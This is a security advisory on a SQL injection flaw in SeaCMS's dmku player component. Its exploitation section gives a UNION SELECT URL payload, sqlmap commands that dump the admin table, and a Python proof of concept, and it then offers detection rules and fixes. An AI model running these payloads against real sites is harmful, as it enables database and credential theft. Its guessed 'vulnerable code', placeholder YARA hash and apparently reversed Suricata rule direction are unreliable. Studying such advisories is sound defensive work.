CVE-2025-15002

Executive Summary

CVE-2025-15002 is a critical SQL injection vulnerability discovered in SeaCMS, a popular content management system for building video websites. The flaw resides in the js/player/dmplayer/dmku/class/mysqli.class.php file, specifically within an unknown function that handles the page and limit arguments. An unauthenticated remote attacker can inject arbitrary SQL commands, potentially leading to data exfiltration, modification, or complete compromise of the database. The vulnerability affects SeaCMS up to version 13.3. As of this report, no official patch has been released, and a proof-of-concept (PoC) exploit is publicly available, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 7.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access possible.
• Integrity (I): Low (L) – Limited data modification possible.
• Availability (A): Low (L) – Potential for denial of service via database corruption.

Threat Level: High. The combination of remote exploitability, low complexity, and public PoC makes this a significant threat to all unpatched SeaCMS installations.

Deep Dive & Mechanics

The vulnerability is a classic SQL injection in the mysqli.class.php file. The application fails to properly sanitize user-supplied input passed via the page and limit parameters before incorporating them into SQL queries. The vulnerable code likely constructs a query similar to:

$sql = "SELECT * FROM some_table LIMIT " . $_GET['limit'] . " OFFSET " . $_GET['page'];

An attacker can inject SQL commands by providing malicious input such as:

page=0 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

This would allow the attacker to:

• Extract sensitive data (usernames, passwords, session tokens).
• Modify or delete database records.
• Potentially gain administrative access to the SeaCMS backend.
• Use the database as a pivot point for further attacks.

The dmku directory suggests this is part of a Danmaku (comment overlay) system, which is often exposed to the public.

Vulnerable vs. Patched Code

Vulnerable Code (SeaCMS <= 13.3):

The vulnerable code in js/player/dmplayer/dmku/class/mysqli.class.php likely uses direct string concatenation:

// Vulnerable: Direct concatenation of user input
$limit = $_GET['limit'];
$page = $_GET['page'];
$sql = "SELECT * FROM comments LIMIT $limit OFFSET $page";
$result = $this->query($sql);

Patched Code (Hypothetical):

A secure version would use prepared statements or parameterized queries:

// Patched: Using prepared statements
$stmt = $this->prepare("SELECT * FROM comments LIMIT ? OFFSET ?");
$stmt->bind_param("ii", $limit, $page);
$limit = intval($_GET['limit']);
$page = intval($_GET['page']);
$stmt->execute();
$result = $stmt->get_result();

Since no official patch exists, administrators must apply manual input validation and use parameterized queries.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running SeaCMS <= 13.3 with the dmku player component enabled.
• Network access to the vulnerable endpoint.

Exploit Steps:

1. Identify the vulnerable endpoint: The vulnerable URL is typically:

   http://target.com/js/player/dmplayer/dmku/index.php?page=0&limit=10
   

2. Craft a malicious payload: Use a SQL injection payload to extract data. For example, to retrieve the database version:

   http://target.com/js/player/dmplayer/dmku/index.php?page=0 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10-- -&limit=10
   

3. Automate with SQLMap:

   sqlmap -u "http://target.com/js/player/dmplayer/dmku/index.php?page=1&limit=10" --batch --dbs
   

4. Extract credentials: Once the database is identified, dump the sea_admin table:

   sqlmap -u "http://target.com/js/player/dmplayer/dmku/index.php?page=1&limit=10" -D seacms_db -T sea_admin --dump
   

Example PoC (Python):

import requests

target = "http://target.com/js/player/dmplayer/dmku/index.php"
payload = "0 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10-- -"
params = {'page': payload, 'limit': '10'}
r = requests.get(target, params=params)
print(r.text)

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for suspicious page or limit parameters containing SQL keywords (UNION, SELECT, DROP, etc.).
• Look for abnormal response sizes or database error messages in HTTP responses.
• Use a Web Application Firewall (WAF) to block SQL injection patterns.

Response:

1. Immediately isolate the affected server.
2. Review database logs for unauthorized queries.
3. Rotate all database credentials and application secrets.
4. Apply virtual patching via WAF rules until an official patch is available.
5. Conduct a forensic analysis to determine the scope of the breach.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /js/player/dmplayer/dmku/index.php with abnormal page or limit parameters.
• SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• Outbound database connections from the web server to unusual IPs.

File IOCs:

• Modified mysqli.class.php file (check for backdoors).
• Suspicious files in the dmku directory.
• Unexpected database dump files.

Log IOCs:

• Web server logs showing SQL injection patterns:

  GET /js/player/dmplayer/dmku/index.php?page=0%20UNION%20SELECT...&limit=10
  

• Database logs showing queries with UNION, INTO OUTFILE, or LOAD_FILE.

Detection Engineering

YARA Rule

rule Detect_SeaCMS_SQLi_CVE_2025_15002 {
    meta:
        description = "Detects SQL injection attempts targeting SeaCMS CVE-2025-15002"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-15002"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "page=" nocase
        $sqli3 = "limit=" nocase
        $sqli4 = "dmku" nocase
        $sqli5 = "mysqli.class.php" nocase
    condition:
        any of ($sqli*) and #sqli1 > 0
}

Sigma Rule

title: SQL Injection Attempt Against SeaCMS CVE-2025-15002
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts targeting the page/limit parameters in SeaCMS dmku component.
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15002
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/js/player/dmplayer/dmku/index.php'
            - 'page='
            - 'limit='
        cs-uri-query|re: '(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#|%27|%22)'
    condition: selection
falsepositives:
    - Legitimate use of the word "union" in a comment
level: high
tags:
    - attack.t1190
    - cve.2025.15002

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-15002 SeaCMS SQL Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/js/player/dmplayer/dmku/index.php"; http_uri;
    content:"page="; http_uri;
    content:"limit="; http_uri;
    pcre:"/(UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/Ui";
    sid:10000001;
    rev:1;
    reference:cve,2025-15002;
    classtype:web-application-attack;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the dmku component if not required: Remove or rename the js/player/dmplayer/dmku/ directory.
2. Apply input validation: Sanitize the page and limit parameters to accept only integers.
3. Use a WAF: Deploy rules to block SQL injection patterns.
4. Upgrade: Monitor the SeaCMS official site for a patched version (13.4 or later).

Long-term Fix:

• Replace all direct SQL queries with prepared statements or parameterized queries in the mysqli.class.php file.
• Conduct a full security audit of the SeaCMS codebase.
• Implement a Content Security Policy (CSP) to mitigate XSS attacks that could be chained with this SQLi.

Workaround (if patching is not possible):

• Use a reverse proxy (e.g., Nginx) to block requests containing SQL keywords in the page and limit parameters:

  location /js/player/dmplayer/dmku/ {
      if ($args ~* "(union|select|drop|insert|update|delete)") {
          return 403;
      }
  }
  

Valters IT